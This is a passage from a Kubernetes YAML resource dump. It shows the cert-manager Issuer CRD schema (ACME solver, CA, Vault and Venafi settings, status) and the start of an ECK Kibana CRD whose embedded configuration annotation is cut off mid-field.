                                                      level label that applies to
                                                      the container.
                                                    type: string
                                                  role:
                                                    description: Role is a SELinux
                                                      role label that applies to the
                                                      container.
                                                    type: string
                                                  type:
                                                    description: Type is a SELinux
                                                      type label that applies to the
                                                      container.
                                                    type: string
                                                  user:
                                                    description: User is a SELinux
                                                      user label that applies to the
                                                      container.
                                                    type: string
                                                type: object
                                              seccompProfile:
                                                description: |-
                                                  The seccomp options to use by the containers in this pod.
                                                  Note that this field cannot be set when spec.os.name is windows.
                                                properties:
                                                  localhostProfile:
                                                    description: |-
                                                      localhostProfile indicates a profile defined in a file on the node should be used.
                                                      The profile must be preconfigured on the node to work.
                                                      Must be a descending path, relative to the kubelet's configured seccomp profile location.
                                                      Must be set if type is "Localhost". Must NOT be set for any other type.
                                                    type: string
                                                  type:
                                                    description: |-
                                                      type indicates which kind of seccomp profile will be applied.
                                                      Valid options are:

                                                      Localhost - a profile defined in a file on the node should be used.
                                                      RuntimeDefault - the container runtime default profile should be used.
                                                      Unconfined - no profile should be applied.
                                                    type: string
                                                required:
                                                - type
                                                type: object
                                              supplementalGroups:
                                                description: |-
                                                  A list of groups applied to the first process run in each container, in addition
                                                  to the container's primary GID, the fsGroup (if specified), and group memberships
                                                  defined in the container image for the uid of the container process. If unspecified,
                                                  no additional groups are added to any container. Note that group memberships
                                                  defined in the container image for the uid of the container process are still effective,
                                                  even if they are not included in this list.
                                                  Note that this field cannot be set when spec.os.name is windows.
                                                items:
                                                  format: int64
                                                  type: integer
                                                type: array
                                              sysctls:
                                                description: |-
                                                  Sysctls hold a list of namespaced sysctls used for the pod. Pods with unsupported
                                                  sysctls (by the container runtime) might fail to launch.
                                                  Note that this field cannot be set when spec.os.name is windows.
                                                items:
                                                  description: Sysctl defines a kernel
                                                    parameter to be set
                                                  properties:
                                                    name:
                                                      description: Name of a property
                                                        to set
                                                      type: string
                                                    value:
                                                      description: Value of a property
                                                        to set
                                                      type: string
                                                  required:
                                                  - name
                                                  - value
                                                  type: object
                                                type: array
                                            type: object
                                          serviceAccountName:
                                            description: If specified, the pod's service
                                              account
                                            type: string
                                          tolerations:
                                            description: If specified, the pod's tolerations.
                                            items:
                                              description: |-
                                                The pod this Toleration is attached to tolerates any taint that matches
                                                the triple <key,value,effect> using the matching operator <operator>.
                                              properties:
                                                effect:
                                                  description: |-
                                                    Effect indicates the taint effect to match. Empty means match all taint effects.
                                                    When specified, allowed values are NoSchedule, PreferNoSchedule and NoExecute.
                                                  type: string
                                                key:
                                                  description: |-
                                                    Key is the taint key that the toleration applies to. Empty means match all taint keys.
                                                    If the key is empty, operator must be Exists; this combination means to match all values and all keys.
                                                  type: string
                                                operator:
                                                  description: |-
                                                    Operator represents a key's relationship to the value.
                                                    Valid operators are Exists and Equal. Defaults to Equal.
                                                    Exists is equivalent to wildcard for value, so that a pod can
                                                    tolerate all taints of a particular category.
                                                  type: string
                                                tolerationSeconds:
                                                  description: |-
                                                    TolerationSeconds represents the period of time the toleration (which must be
                                                    of effect NoExecute, otherwise this field is ignored) tolerates the taint. By default,
                                                    it is not set, which means tolerate the taint forever (do not evict). Zero and
                                                    negative values will be treated as 0 (evict immediately) by the system.
                                                  format: int64
                                                  type: integer
                                                value:
                                                  description: |-
                                                    Value is the taint value the toleration matches to.
                                                    If the operator is Exists, the value should be empty, otherwise just a regular string.
                                                  type: string
                                              type: object
                                            type: array
                                        type: object
                                    type: object
                                  serviceType:
                                    description: |-
                                      Optional service type for Kubernetes solver service. Supported values
                                      are NodePort or ClusterIP. If unset, defaults to NodePort.
                                    type: string
                                type: object
                            type: object
                          selector:
                            description: |-
                              Selector selects a set of DNSNames on the Certificate resource that
                              should be solved using this challenge solver.
                              If not specified, the solver will be treated as the 'default' solver
                              with the lowest priority, i.e. if any other solver has a more specific
                              match, it will be used instead.
                            properties:
                              dnsNames:
                                description: |-
                                  List of DNSNames that this solver will be used to solve.
                                  If specified and a match is found, a dnsNames selector will take
                                  precedence over a dnsZones selector.
                                  If multiple solvers match with the same dnsNames value, the solver
                                  with the most matching labels in matchLabels will be selected.
                                  If neither has more matches, the solver defined earlier in the list
                                  will be selected.
                                items:
                                  type: string
                                type: array
                              dnsZones:
                                description: |-
                                  List of DNSZones that this solver will be used to solve.
                                  The most specific DNS zone match specified here will take precedence
                                  over other DNS zone matches, so a solver specifying sys.example.com
                                  will be selected over one specifying example.com for the domain
                                  www.sys.example.com.
                                  If multiple solvers match with the same dnsZones value, the solver
                                  with the most matching labels in matchLabels will be selected.
                                  If neither has more matches, the solver defined earlier in the list
                                  will be selected.
                                items:
                                  type: string
                                type: array
                              matchLabels:
                                additionalProperties:
                                  type: string
                                description: |-
                                  A label selector that is used to refine the set of certificate's that
                                  this challenge solver will apply to.
                                type: object
                            type: object
                        type: object
                      type: array
                  required:
                  - privateKeySecretRef
                  - server
                  type: object
                ca:
                  description: |-
                    CA configures this issuer to sign certificates using a signing CA keypair
                    stored in a Secret resource.
                    This is used to build internal PKIs that are managed by cert-manager.
                  properties:
                    crlDistributionPoints:
                      description: |-
                        The CRL distribution points is an X.509 v3 certificate extension which identifies
                        the location of the CRL from which the revocation of this certificate can be checked.
                        If not set, certificates will be issued without distribution points set.
                      items:
                        type: string
                      type: array
                    issuingCertificateURLs:
                      description: |-
                        IssuingCertificateURLs is a list of URLs which this issuer should embed into certificates
                        it creates. See https://www.rfc-editor.org/rfc/rfc5280#section-4.2.2.1 for more details.
                        As an example, such a URL might be "http://ca.domain.com/ca.crt".
                      items:
                        type: string
                      type: array
                    ocspServers:
                      description: |-
                        The OCSP server list is an X.509 v3 extension that defines a list of
                        URLs of OCSP responders. The OCSP responders can be queried for the
                        revocation status of an issued certificate. If not set, the
                        certificate will be issued with no OCSP servers set. For example, an
                        OCSP server URL could be "http://ocsp.int-x3.letsencrypt.org".
                      items:
                        type: string
                      type: array
                    secretName:
                      description: |-
                        SecretName is the name of the secret used to sign Certificates issued
                        by this Issuer.
                      type: string
                  required:
                  - secretName
                  type: object
                selfSigned:
                  description: |-
                    SelfSigned configures this issuer to 'self sign' certificates using the
                    private key used to create the CertificateRequest object.
                  properties:
                    crlDistributionPoints:
                      description: |-
                        The CRL distribution points is an X.509 v3 certificate extension which identifies
                        the location of the CRL from which the revocation of this certificate can be checked.
                        If not set certificate will be issued without CDP. Values are strings.
                      items:
                        type: string
                      type: array
                  type: object
                vault:
                  description: |-
                    Vault configures this issuer to sign certificates using a HashiCorp Vault
                    PKI backend.
                  properties:
                    auth:
                      description: Auth configures how cert-manager authenticates
                        with the Vault server.
                      properties:
                        appRole:
                          description: |-
                            AppRole authenticates with Vault using the App Role auth mechanism,
                            with the role and secret stored in a Kubernetes Secret resource.
                          properties:
                            path:
                              description: |-
                                Path where the App Role authentication backend is mounted in Vault, e.g:
                                "approle"
                              type: string
                            roleId:
                              description: |-
                                RoleID configured in the App Role authentication backend when setting
                                up the authentication backend in Vault.
                              type: string
                            secretRef:
                              description: |-
                                Reference to a key in a Secret that contains the App Role secret used
                                to authenticate with Vault.
                                The `key` field must be specified and denotes which entry within the Secret
                                resource is used as the app role secret.
                              properties:
                                key:
                                  description: |-
                                    The key of the entry in the Secret resource's `data` field to be used.
                                    Some instances of this field may be defaulted, in others it may be
                                    required.
                                  type: string
                                name:
                                  description: |-
                                    Name of the resource being referred to.
                                    More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                  type: string
                              required:
                              - name
                              type: object
                          required:
                          - path
                          - roleId
                          - secretRef
                          type: object
                        clientCertificate:
                          description: |-
                            ClientCertificate authenticates with Vault by presenting a client
                            certificate during the request's TLS handshake.
                            Works only when using HTTPS protocol.
                          properties:
                            mountPath:
                              description: |-
                                The Vault mountPath here is the mount path to use when authenticating with
                                Vault. For example, setting a value to `/v1/auth/foo`, will use the path
                                `/v1/auth/foo/login` to authenticate with Vault. If unspecified, the
                                default value "/v1/auth/cert" will be used.
                              type: string
                            name:
                              description: |-
                                Name of the certificate role to authenticate against.
                                If not set, matching any certificate role, if available.
                              type: string
                            secretName:
                              description: |-
                                Reference to Kubernetes Secret of type "kubernetes.io/tls" (hence containing
                                tls.crt and tls.key) used to authenticate to Vault using TLS client
                                authentication.
                              type: string
                          type: object
                        kubernetes:
                          description: |-
                            Kubernetes authenticates with Vault by passing the ServiceAccount
                            token stored in the named Secret resource to the Vault server.
                          properties:
                            mountPath:
                              description: |-
                                The Vault mountPath here is the mount path to use when authenticating with
                                Vault. For example, setting a value to `/v1/auth/foo`, will use the path
                                `/v1/auth/foo/login` to authenticate with Vault. If unspecified, the
                                default value "/v1/auth/kubernetes" will be used.
                              type: string
                            role:
                              description: |-
                                A required field containing the Vault Role to assume. A Role binds a
                                Kubernetes ServiceAccount with a set of Vault policies.
                              type: string
                            secretRef:
                              description: |-
                                The required Secret field containing a Kubernetes ServiceAccount JWT used
                                for authenticating with Vault. Use of 'ambient credentials' is not
                                supported.
                              properties:
                                key:
                                  description: |-
                                    The key of the entry in the Secret resource's `data` field to be used.
                                    Some instances of this field may be defaulted, in others it may be
                                    required.
                                  type: string
                                name:
                                  description: |-
                                    Name of the resource being referred to.
                                    More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                  type: string
                              required:
                              - name
                              type: object
                            serviceAccountRef:
                              description: |-
                                A reference to a service account that will be used to request a bound
                                token (also known as "projected token"). Compared to using "secretRef",
                                using this field means that you don't rely on statically bound tokens. To
                                use this field, you must configure an RBAC rule to let cert-manager
                                request a token.
                              properties:
                                audiences:
                                  description: |-
                                    TokenAudiences is an optional list of extra audiences to include in the token passed to Vault. The default token
                                    consisting of the issuer's namespace and name is always included.
                                  items:
                                    type: string
                                  type: array
                                name:
                                  description: Name of the ServiceAccount used to
                                    request a token.
                                  type: string
                              required:
                              - name
                              type: object
                          required:
                          - role
                          type: object
                        tokenSecretRef:
                          description: TokenSecretRef authenticates with Vault by
                            presenting a token.
                          properties:
                            key:
                              description: |-
                                The key of the entry in the Secret resource's `data` field to be used.
                                Some instances of this field may be defaulted, in others it may be
                                required.
                              type: string
                            name:
                              description: |-
                                Name of the resource being referred to.
                                More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                              type: string
                          required:
                          - name
                          type: object
                      type: object
                    caBundle:
                      description: |-
                        Base64-encoded bundle of PEM CAs which will be used to validate the certificate
                        chain presented by Vault. Only used if using HTTPS to connect to Vault and
                        ignored for HTTP connections.
                        Mutually exclusive with CABundleSecretRef.
                        If neither CABundle nor CABundleSecretRef are defined, the certificate bundle in
                        the cert-manager controller container is used to validate the TLS connection.
                      format: byte
                      type: string
                    caBundleSecretRef:
                      description: |-
                        Reference to a Secret containing a bundle of PEM-encoded CAs to use when
                        verifying the certificate chain presented by Vault when using HTTPS.
                        Mutually exclusive with CABundle.
                        If neither CABundle nor CABundleSecretRef are defined, the certificate bundle in
                        the cert-manager controller container is used to validate the TLS connection.
                        If no key for the Secret is specified, cert-manager will default to 'ca.crt'.
                      properties:
                        key:
                          description: |-
                            The key of the entry in the Secret resource's `data` field to be used.
                            Some instances of this field may be defaulted, in others it may be
                            required.
                          type: string
                        name:
                          description: |-
                            Name of the resource being referred to.
                            More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                          type: string
                      required:
                      - name
                      type: object
                    clientCertSecretRef:
                      description: |-
                        Reference to a Secret containing a PEM-encoded Client Certificate to use when the
                        Vault server requires mTLS.
                      properties:
                        key:
                          description: |-
                            The key of the entry in the Secret resource's `data` field to be used.
                            Some instances of this field may be defaulted, in others it may be
                            required.
                          type: string
                        name:
                          description: |-
                            Name of the resource being referred to.
                            More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                          type: string
                      required:
                      - name
                      type: object
                    clientKeySecretRef:
                      description: |-
                        Reference to a Secret containing a PEM-encoded Client Private Key to use when the
                        Vault server requires mTLS.
                      properties:
                        key:
                          description: |-
                            The key of the entry in the Secret resource's `data` field to be used.
                            Some instances of this field may be defaulted, in others it may be
                            required.
                          type: string
                        name:
                          description: |-
                            Name of the resource being referred to.
                            More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                          type: string
                      required:
                      - name
                      type: object
                    namespace:
                      description: |-
                        Name of the vault namespace. Namespaces is a set of features within Vault Enterprise that allows Vault environments to support Secure Multi-tenancy. e.g: "ns1"
                        More about namespaces can be found here https://www.vaultproject.io/docs/enterprise/namespaces
                      type: string
                    path:
                      description: |-
                        Path is the mount path of the Vault PKI backend's `sign` endpoint, e.g:
                        "my_pki_mount/sign/my-role-name".
                      type: string
                    server:
                      description: 'Server is the connection address for the Vault
                        server, e.g: "https://vault.example.com:8200".'
                      type: string
                    serverName:
                      description: |-
                        ServerName is used to verify the hostname on the returned certificates
                        by the Vault server.
                      type: string
                  required:
                  - auth
                  - path
                  - server
                  type: object
                venafi:
                  description: |-
                    Venafi configures this issuer to sign certificates using a Venafi TPP
                    or Venafi Cloud policy zone.
                  properties:
                    cloud:
                      description: |-
                        Cloud specifies the Venafi cloud configuration settings.
                        Only one of TPP or Cloud may be specified.
                      properties:
                        apiTokenSecretRef:
                          description: APITokenSecretRef is a secret key selector
                            for the Venafi Cloud API token.
                          properties:
                            key:
                              description: |-
                                The key of the entry in the Secret resource's `data` field to be used.
                                Some instances of this field may be defaulted, in others it may be
                                required.
                              type: string
                            name:
                              description: |-
                                Name of the resource being referred to.
                                More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                              type: string
                          required:
                          - name
                          type: object
                        url:
                          description: |-
                            URL is the base URL for Venafi Cloud.
                            Defaults to "https://api.venafi.cloud/".
                          type: string
                      required:
                      - apiTokenSecretRef
                      type: object
                    tpp:
                      description: |-
                        TPP specifies Trust Protection Platform configuration settings.
                        Only one of TPP or Cloud may be specified.
                      properties:
                        caBundle:
                          description: |-
                            Base64-encoded bundle of PEM CAs which will be used to validate the certificate
                            chain presented by the TPP server. Only used if using HTTPS; ignored for HTTP.
                            If undefined, the certificate bundle in the cert-manager controller container
                            is used to validate the chain.
                          format: byte
                          type: string
                        caBundleSecretRef:
                          description: |-
                            Reference to a Secret containing a base64-encoded bundle of PEM CAs
                            which will be used to validate the certificate chain presented by the TPP server.
                            Only used if using HTTPS; ignored for HTTP. Mutually exclusive with CABundle.
                            If neither CABundle nor CABundleSecretRef is defined, the certificate bundle in
                            the cert-manager controller container is used to validate the TLS connection.
                          properties:
                            key:
                              description: |-
                                The key of the entry in the Secret resource's `data` field to be used.
                                Some instances of this field may be defaulted, in others it may be
                                required.
                              type: string
                            name:
                              description: |-
                                Name of the resource being referred to.
                                More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                              type: string
                          required:
                          - name
                          type: object
                        credentialsRef:
                          description: |-
                            CredentialsRef is a reference to a Secret containing the Venafi TPP API credentials.
                            The secret must contain the key 'access-token' for the Access Token Authentication,
                            or two keys, 'username' and 'password' for the API Keys Authentication.
                          properties:
                            name:
                              description: |-
                                Name of the resource being referred to.
                                More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                              type: string
                          required:
                          - name
                          type: object
                        url:
                          description: |-
                            URL is the base URL for the vedsdk endpoint of the Venafi TPP instance,
                            for example: "https://tpp.example.com/vedsdk".
                          type: string
                      required:
                      - credentialsRef
                      - url
                      type: object
                    zone:
                      description: |-
                        Zone is the Venafi Policy Zone to use for this issuer.
                        All requests made to the Venafi platform will be restricted by the named
                        zone policy.
                        This field is required.
                      type: string
                  required:
                  - zone
                  type: object
              type: object
            status:
              description: Status of the Issuer. This is set and managed automatically.
              properties:
                acme:
                  description: |-
                    ACME specific status options.
                    This field should only be set if the Issuer is configured to use an ACME
                    server to issue certificates.
                  properties:
                    lastPrivateKeyHash:
                      description: |-
                        LastPrivateKeyHash is a hash of the private key associated with the latest
                        registered ACME account, in order to track changes made to registered account
                        associated with the Issuer
                      type: string
                    lastRegisteredEmail:
                      description: |-
                        LastRegisteredEmail is the email associated with the latest registered
                        ACME account, in order to track changes made to registered account
                        associated with the  Issuer
                      type: string
                    uri:
                      description: |-
                        URI is the unique account identifier, which can also be used to retrieve
                        account details from the CA
                      type: string
                  type: object
                conditions:
                  description: |-
                    List of status conditions to indicate the status of a CertificateRequest.
                    Known condition types are `Ready`.
                  items:
                    description: IssuerCondition contains condition information for
                      an Issuer.
                    properties:
                      lastTransitionTime:
                        description: |-
                          LastTransitionTime is the timestamp corresponding to the last status
                          change of this condition.
                        format: date-time
                        type: string
                      message:
                        description: |-
                          Message is a human readable description of the details of the last
                          transition, complementing reason.
                        type: string
                      observedGeneration:
                        description: |-
                          If set, this represents the .metadata.generation that the condition was
                          set based upon.
                          For instance, if .metadata.generation is currently 12, but the
                          .status.condition[x].observedGeneration is 9, the condition is out of date
                          with respect to the current state of the Issuer.
                        format: int64
                        type: integer
                      reason:
                        description: |-
                          Reason is a brief machine readable explanation for the condition's last
                          transition.
                        type: string
                      status:
                        description: Status of the condition, one of (`True`, `False`,
                          `Unknown`).
                        enum:
                        - "True"
                        - "False"
                        - Unknown
                        type: string
                      type:
                        description: Type of the condition, known values are (`Ready`).
                        type: string
                    required:
                    - status
                    - type
                    type: object
                  type: array
                  x-kubernetes-list-map-keys:
                  - type
                  x-kubernetes-list-type: map
              type: object
          required:
          - spec
          type: object
      served: true
      storage: true
      subresources:
        status: {}
  status:
    acceptedNames:
      categories:
      - cert-manager
      kind: Issuer
      listKind: IssuerList
      plural: issuers
      shortNames:
      - iss
      singular: issuer
    conditions:
    - lastTransitionTime: "2025-09-22T13:18:23Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-22T13:18:23Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.15.0
      helm.sh/resource-policy: keep
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"apiextensions.k8s.io/v1","kind":"CustomResourceDefinition","metadata":{"annotations":{"controller-gen.kubebuilder.io/version":"v0.15.0","helm.sh/resource-policy":"keep"},"labels":{"app.kubernetes.io/instance":"elastic-operator","app.kubernetes.io/name":"eck-operator-crds","app.kubernetes.io/version":"2.14.0"},"name":"kibanas.kibana.k8s.elastic.co"},"spec":{"group":"kibana.k8s.elastic.co","names":{"categories":["elastic"],"kind":"Kibana","listKind":"KibanaList","plural":"kibanas","shortNames":["kb"],"singular":"kibana"},"scope":"Namespaced","versions":[{"additionalPrinterColumns":[{"jsonPath":".status.health","name":"health","type":"string"},{"description":"Available nodes","jsonPath":".status.availableNodes","name":"nodes","type":"integer"},{"description":"Kibana version","jsonPath":".status.version","name":"version","type":"string"},{"jsonPath":".metadata.creationTimestamp","name":"age","type":"date"}],"name":"v1","schema":{"openAPIV3Schema":{"description":"Kibana represents a Kibana resource in a Kubernetes cluster.","properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"type":"object"},"spec":{"description":"KibanaSpec holds the specification of a Kibana instance.","properties":{"config":{"description":"Config holds the Kibana configuration. See: https://www.elastic.co/guide/en/kibana/current/settings.html","type":"object","x-kubernetes-preserve-unknown-fields":true},"count":{"description":"Count of Kibana instances to deploy.","format":"int32","type":"integer"},"elasticsearchRef":{"description":"ElasticsearchRef is a reference to an Elasticsearch cluster running in the same Kubernetes cluster.","properties":{"name":{"description":"Name of an existing Kubernetes object corresponding to an Elastic resource managed by ECK.","type":"string"},"namespace":{"description":"Namespace of the Kubernetes object. If empty, defaults to the current namespace.","type":"string"},"secretName":{"description":"SecretName is the name of an existing Kubernetes secret that contains connection information for associating an\nElastic resource not managed by the operator. The referenced secret must contain the following:\n- `url`: the URL to reach the Elastic resource\n- `username`: the username of the user to be authenticated to the Elastic resource\n- `password`: the password of the user to be authenticated to the Elastic resource\n- `ca.crt`: the CA certificate in PEM format (optional)\n- `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)\nThis field cannot be used in combination with the other fields name, namespace or serviceName.","type":"string"},"serviceName":{"description":"ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced\nobject. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of\nthe referenced resource is used.","type":"string"}},"type":"object"},"enterpriseSearchRef":{"description":"EnterpriseSearchRef is a reference to an EnterpriseSearch running in the same Kubernetes cluster.\nKibana provides the default Enterprise Search UI starting version 7.14.","properties":{"name":{"description":"Name of an existing Kubernetes object corresponding to an Elastic resource managed by ECK.","type":"string"},"namespace":{"description":"Namespace of the Kubernetes object. If empty, defaults to the current namespace.","type":"string"},"secretName":{"description":"SecretName is the name of an existing Kubernetes secret that contains connection information for associating an\nElastic resource not managed by the operator. The referenced secret must contain the following:\n- `url`: the URL to reach the Elastic resource\n- `username`: the username of the user to be authenticated to the Elastic resource\n- `password`: the password of the user to be authenticated to the Elastic resource\n- `ca.crt`: the CA certificate in PEM format (optional)\n- `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)\nThis field cannot be used in combination with the other fields name, namespace or serviceName.","type":"string"},"serviceName":{"description":"ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced\nobject. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of\nthe referenced resource is used.","type":"string"}},"type":"object"},"http":{"description":"HTTP holds the HTTP layer configuration for Kibana.","properties":{"service":{"description":"Service defines the template for the associated Kubernetes Service object.","properties":{"metadata":{"description":"ObjectMeta is the metadata of the service.\nThe name and namespace provided here are managed by ECK and will be ignored.","properties":{"annotations":{"additionalProperties":{"type":"string"},"type":"object"},"finalizers":{"items":{"type":"string"},"type":"array"},"labels":{"additionalProperties":{"type":"string"},"type":"object"},"name":{"type":"string"},"namespace":{"type":"string"}},"type":"object"},"spec":{"description":"Spec is the specification of the service.","properties":{"allocateLoadBalancerNodePorts":{"description":"allocateLoadBalancerNodePorts defines if NodePorts will be automatically\nallocated for services with type LoadBalancer.  Default is \"true\". It\nmay be set to \"false\" if the cluster load-balancer does not rely on\nNodePorts.  If the caller requests specific NodePorts (by specifying a\nvalue), those requests will be respected, regardless of this field.\nThis field may only be set for services with type LoadBalancer and will\nbe cleared if the type is changed to any other type.","type":"boolean"},"clusterIP":{"description":"clusterIP is the IP address of the service and is usually assigned\nrandomly. If an address is specified manually, is in-range (as per\nsystem configuration), and is not in use, it will be allocated to the\nservice; otherwise creation of the service will fail. This field may not\nbe changed through updates unless the type field is also being changed\nto ExternalName (which requires this field to be blank) or the type\nfield is being changed from ExternalName (in which case this field may\noptionally be specified, as describe above).  Valid values are \"None\",\nempty string (\"\"), or a valid IP address. Setting this to \"None\" makes a\n\"headless service\" (no virtual IP), which is useful when direct endpoint\nconnections are preferred and proxying is not required.  Only applies to\ntypes ClusterIP, NodePort, and LoadBalancer. If this field is specified\nwhen creating a Service of type ExternalName, creation will fail. This\nfield will be wiped when updating a Service to type ExternalName.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","type":"string"},"clusterIPs":{"description":"ClusterIPs is a list of IP addresses assigned to this service, and are\nusually assigned randomly.  If an address is specified manually, is\nin-range (as per system configuration), and is not in use, it will be\nallocated to the service; otherwise creation of the service will fail.\nThis field may not be changed through updates unless the type field is\nalso being changed to ExternalName (which requires this field to be\nempty) or the type field is being changed from ExternalName (in which\ncase this field may optionally be specified, as describe above).  Valid\nvalues are \"None\", empty string (\"\"), or a valid IP address.  Setting\nthis to \"None\" makes a \"headless service\" (no virtual IP), which is\nuseful when direct endpoint connections are preferred and proxying is\nnot required.  Only applies to types ClusterIP, NodePort, and\nLoadBalancer. If this field is specified when creating a Service of type\nExternalName, creation will fail. This field will be wiped when updating\na Service to type ExternalName.  If this field is not specified, it will\nbe initialized from the clusterIP field.  If this field is specified,\nclients must ensure that clusterIPs[0] and clusterIP have the same\nvalue.\n\n\nThis field may hold a maximum of two entries (dual-stack IPs, in either order).\nThese IPs must correspond to the values of the ipFamilies field. Both\nclusterIPs and ipFamilies are governed by the ipFamilyPolicy field.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"externalIPs":{"description":"externalIPs is a list of IP addresses for which nodes in the cluster\nwill also accept traffic for this service.  These IPs are not managed by\nKubernetes.  The user is responsible for ensuring that traffic arrives\nat a node with this IP.  A common example is external load-balancers\nthat are not part of the Kubernetes system.","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"externalName":{"description":"externalName is the external reference that discovery mechanisms will\nreturn as an alias for this service (e.g. a DNS CNAME record). No\nproxying will be involved.  Must be a lowercase RFC-1123 hostname\n(https://tools.ietf.org/html/rfc1123) and requires `type` to be \"ExternalName\".","type":"string"},"externalTrafficPolicy":{"description":"externalTrafficPolicy describes how nodes distribute service traffic they\nreceive on one of the Service's \"externally-facing\" addresses (NodePorts,\nExternalIPs, and LoadBalancer IPs). If set to \"Local\", the proxy will configure\nthe service in a way that assumes that external load balancers will take care\nof balancing the service traffic between nodes, and so each node will deliver\ntraffic only to the node-local endpoints of the service, without masquerading\nthe client source IP. (Traffic mistakenly sent to a node with no endpoints will\nbe dropped.) The default value, \"Cluster\", uses the standard behavior of\nrouting to all endpoints evenly (possibly modified by topology and other\nfeatures). Note that traffic sent to an External IP or LoadBalancer IP from\nwithin the cluster will always get \"Cluster\" semantics, but clients sending to\na NodePort from within the cluster may need to take traffic policy into account\nwhen picking a node.","type":"string"},"healthCheckNodePort":{"description":"healthCheckNodePort specifies the healthcheck nodePort for the service.\nThis only applies when type is set to LoadBalancer and\nexternalTrafficPolicy is set to Local. If a value is specified, is\nin-range, and is not in use, it will be used.  If not specified, a value\nwill be automatically allocated.  External systems (e.g. load-balancers)\ncan use this port to determine if a given node holds endpoints for this\nservice or not.  If this field is specified when creating a Service\nwhich does not need it, creation will fail. This field will be wiped\nwhen updating a Service to no longer need it (e.g. changing type).\nThis field cannot be updated once set.","format":"int32","type":"integer"},"internalTrafficPolicy":{"description":"InternalTrafficPolicy describes how nodes distribute service traffic they\nreceive on the ClusterIP. If set to \"Local\", the proxy will assume that pods\nonly want to talk to endpoints of the service on the same node as the pod,\ndropping the traffic if there are no local endpoints. The default value,\n\"Cluster\", uses the standard behavior of routing to all endpoints evenly\n(possibly modified by topology and other features).","type":"string"},"ipFamilies":{"description":"IPFamilies is a list of IP families (e.g. IPv4, IPv6) assigned to this\nservice. This field is usually assigned automatically based on cluster\nconfiguration and the ipFamilyPolicy field. If this field is specified\nmanually, the requested family is available in the cluster,\nand ipFamilyPolicy allows it, it will be used; otherwise creation of\nthe service will fail. This field is conditionally mutable: it allows\nfor adding or removing a secondary IP family, but it does not allow\nchanging the primary IP family of the Service. Valid values are \"IPv4\"\nand \"IPv6\".  This field only applies to Services of types ClusterIP,\nNodePort, and LoadBalancer, and does apply to \"headless\" services.\nThis field will be wiped when updating a Service to type ExternalName.\n\n\nThis field may hold a maximum of two entries (dual-stack families, in\neither order).  These families must correspond to the values of the\nclusterIPs field, if specified. Both clusterIPs and ipFamilies are\ngoverned by the ipFamilyPolicy field.","items":{"description":"IPFamily represents the IP Family (IPv4 or IPv6). This type is used\nto express the family of an IP expressed by a type (e.g. service.spec.ipFamilies).","type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"ipFamilyPolicy":{"description":"IPFamilyPolicy represents the dual-stack-ness requested or required by\nthis Service. If there is no value provided, then this field will be set\nto SingleStack. Services can be \"SingleStack\" (a single IP family),\n\"PreferDualStack\" (two IP families on dual-stack configured clusters or\na single IP family on single-stack clusters), or \"RequireDualStack\"\n(two IP families on dual-stack configured clusters, otherwise fail). The\nipFamilies and clusterIPs fields depend on the value of this field. This\nfield will be wiped when updating a service to type ExternalName.","type":"string"},"loadBalancerClass":{"description":"loadBalancerClass is the class of the load balancer implementation this Service belongs to.\nIf specified, the value of this field must be a label-style identifier, with an optional prefix,\ne.g. \"internal-vip\" or \"example.com/internal-vip\". Unprefixed names are reserved for end-users.\nThis field can only be set when the Service type is 'LoadBalancer'. If not set, the default load\nbalancer implementation is used, today this is typically done through the cloud provider integration,\nbut should apply for any default implementation. If set, it is assumed that a load balancer\nimplementation is watching for Services with a matching class. Any default load balancer\nimplementation (e.g. cloud providers) should ignore Services that set this field.\nThis field can only be set when creating or updating a Service to type 'LoadBalancer'.\nOnce set, it can not be changed. This field will be wiped when a service is updated to a non 'LoadBalancer' type.","type":"string"},"loadBalancerIP":{"description":"Only applies to Service Type: LoadBalancer.\nThis feature depends on whether the underlying cloud-provider supports specifying\nthe loadBalancerIP when a load balancer is created.\nThis field will be ignored if the cloud-provider does not support the feature.\nDeprecated: This field was under-specified and its meaning varies across implementations.\nUsing it is non-portable and it may not support dual-stack.\nUsers are encouraged to use implementation-specific annotations when available.","type":"string"},"loadBalancerSourceRanges":{"description":"If specified and supported by the platform, this will restrict traffic through the cloud-provider\nload-balancer will be restricted to the specified client IPs. This field will be ignored if the\ncloud-provider does not support the feature.\"\nMore info: 